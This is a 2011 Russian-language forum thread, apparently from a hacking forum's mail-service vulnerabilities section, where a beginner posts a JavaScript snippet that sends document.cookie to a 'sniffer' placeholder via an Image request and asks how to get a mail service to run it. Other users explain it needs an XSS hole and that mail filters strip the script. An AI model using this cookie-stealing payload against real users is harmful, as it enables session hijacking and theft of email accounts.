В инете я нашел скрипт который отсылает куки на сниффер. Проблемка внутри

Discussion in 'Уязвимости Mail-сервисов' started by DanilDocenko, 19 Dec 2011.

  1. DanilDocenko

    DanilDocenko New Member

    Joined:
    11 Mar 2011
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Но мэйл не может просматривать img картинки через браузер, как я помню раньше умел, вот скрипт
    Code:
    <script> img = new Image(); img.src = "сниффер"+document.cookie; var URL = "картинка" var speed = 3000 function reload() { document.location = URL } setTimeout("reload()", speed); </script>
    Что мне надо сделать чтобы формат можно было сделать не img а jpg?
     
  2. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452

    :mad: не знал, что бывает формат img

    ТС, напиши конкретно что ты хочешь, (если ты это знаешь, конечно).
     
    _________________________
  3. OxoTnik

    OxoTnik На мышей

    Joined:
    10 Jun 2011
    Messages:
    943
    Likes Received:
    525
    Reputations:
    173
    самый короткий ответ: никак!
     
  4. DanilDocenko

    DanilDocenko New Member

    Joined:
    11 Mar 2011
    Messages:
    9
    Likes Received:
    0
    Reputations:
    0
    Мне надо чтобы файл можно было сделать с расширением jpg а не img. Т.к. мэйл img не может смотреть через браузер :confused: :confused: :confused: :confused:
     
  5. M_script

    M_script Members of Antichat

    Joined:
    4 Nov 2004
    Messages:
    2,581
    Likes Received:
    1,317
    Reputations:
    1,557
    img в данном случае - не расширение, а JS-объект, который используется для добавления картинки на страницу через DOM. Чтобы код сработал, нужно иметь возможность его внедрения в страницу сайта, то есть XSS.
     
  6. boortyhuhtyu

    boortyhuhtyu Member

    Joined:
    2 Feb 2011
    Messages:
    727
    Likes Received:
    26
    Reputations:
    -6
    а xss то есть на.........
     
  7. Uex Urgent

    Uex Urgent Злостный Смайлик

    Joined:
    6 Feb 2009
    Messages:
    236
    Likes Received:
    463
    Reputations:
    452

    img это тег, jpg это расширение.

    Ты не там копаешь, дело не в img или jpg, а в том, что мейл не пропускает javascript из которого твой код состоит, и соответственно сниффер работать не будет.
    Скорей всего ты слишком рано начал заниматься сниффером. :rolleyes:

    Советую начать с этого http://htmlbook.ru/samhtml
     
    _________________________